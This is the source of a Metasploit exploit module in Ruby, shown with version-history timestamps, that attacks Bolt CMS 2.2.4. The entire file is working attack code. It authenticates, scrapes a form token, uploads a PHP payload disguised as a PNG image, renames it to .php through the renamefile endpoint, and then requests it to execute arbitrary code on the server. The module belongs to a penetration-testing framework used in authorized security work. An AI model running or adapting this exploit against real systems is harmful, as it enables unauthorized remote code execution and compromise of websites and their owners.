metasploit-framework/modules/exploits/multi/http/bolt_file_upload.rb

174 lines
5.3 KiB
Ruby
Raw Normal View History

2015-09-04 07:09:16 +00:00
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
2015-09-04 19:02:30 +00:00
'Name' => 'CMS Bolt File Upload Vulnerability',
2015-09-04 07:09:16 +00:00
'Description' => %q{
2015-09-04 19:02:30 +00:00
Bolt CMS contains a flaw that allows a authenticated remote
attacker to execute arbitrary PHP code. This module was
tested on version 2.2.4.
2015-09-04 07:09:16 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2015-09-04 19:02:30 +00:00
'Tim Coen', # Vulnerability Disclosure
2015-09-04 07:09:16 +00:00
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
2015-09-04 19:02:30 +00:00
['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
2015-09-04 07:09:16 +00:00
],
'DisclosureDate' => 'Aug 17 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Bolt 2.2.4', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('FOLDERNAME', [true, 'The theme path to web application (base-2014 is default)', 'base-2014']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
2015-09-04 07:09:16 +00:00
], self.class)
end
def check
2015-09-09 02:54:20 +00:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
2015-09-09 02:54:20 +00:00
)
2015-09-04 07:09:16 +00:00
2015-09-09 02:54:20 +00:00
if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
2015-09-04 07:09:16 +00:00
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def fname
datastore['FOLDERNAME']
end
2015-09-04 18:37:42 +00:00
def bolt_login(user, pass)
2015-09-04 13:45:15 +00:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
2015-09-04 13:45:15 +00:00
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
2015-09-09 02:15:42 +00:00
2015-09-04 13:45:15 +00:00
session_cookie = res.get_cookies
2015-09-09 02:15:42 +00:00
vprint_status("#{peer} - Logging in...")
2015-09-04 13:45:15 +00:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
2015-09-04 13:45:15 +00:00
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass,
'action' => 'login'
}
)
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
2015-09-04 13:45:15 +00:00
nil
2015-09-04 07:09:16 +00:00
end
def get_token(cookie, fname)
2015-09-04 18:27:28 +00:00
res = send_request_cgi(
2015-09-09 04:21:08 +00:00
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
2015-09-04 18:27:28 +00:00
)
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
return Regexp.last_match[1]
end
nil
2015-09-04 07:09:16 +00:00
end
def rename_payload(cookie, payload, fname)
2015-09-09 02:15:42 +00:00
res = send_request_cgi(
2015-09-09 04:21:08 +00:00
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
2015-09-04 18:37:42 +00:00
'vars_post' => {
'namespace' => 'theme',
'parent' => fname,
2015-09-04 18:37:42 +00:00
'oldname' => "#{payload}.png",
'newname' => "#{payload}.php"
},
'cookie' => cookie
)
return true if res && res.code == 200 && res.body.include?('1')
2015-09-04 18:37:42 +00:00
nil
2015-09-04 07:09:16 +00:00
end
def exploit
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
2015-09-04 13:45:15 +00:00
cookie = bolt_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
2015-09-04 19:02:30 +00:00
vprint_good("#{peer} - Authenticated with Bolt.")
2015-09-04 13:45:15 +00:00
token = get_token(cookie, fname)
fail_with(Failure::Unknown, 'No token found.') if token.nil?
2015-09-04 19:02:30 +00:00
vprint_good("#{peer} - Token \"#{token}\" found.")
2015-09-04 18:27:28 +00:00
2015-09-04 19:02:30 +00:00
vprint_status("#{peer} - Preparing payload...")
2015-09-04 18:37:42 +00:00
payload_name = Rex::Text.rand_text_alpha_lower(10)
2015-09-04 18:27:28 +00:00
2015-09-04 18:37:42 +00:00
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
post_data = data.to_s
2015-09-04 07:09:16 +00:00
2015-09-04 19:02:30 +00:00
vprint_status("#{peer} - Uploading payload...")
2015-09-04 18:37:42 +00:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
2015-09-04 18:37:42 +00:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
vprint_good("#{peer} - Uploaded the payload.")
rename = rename_payload(cookie, payload_name, fname)
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
php_file_name = "#{payload_name}.php"
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
vprint_status("#{peer} - Parsed response.")
register_files_for_cleanup(php_file_name)
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
2015-09-04 07:09:16 +00:00
end
end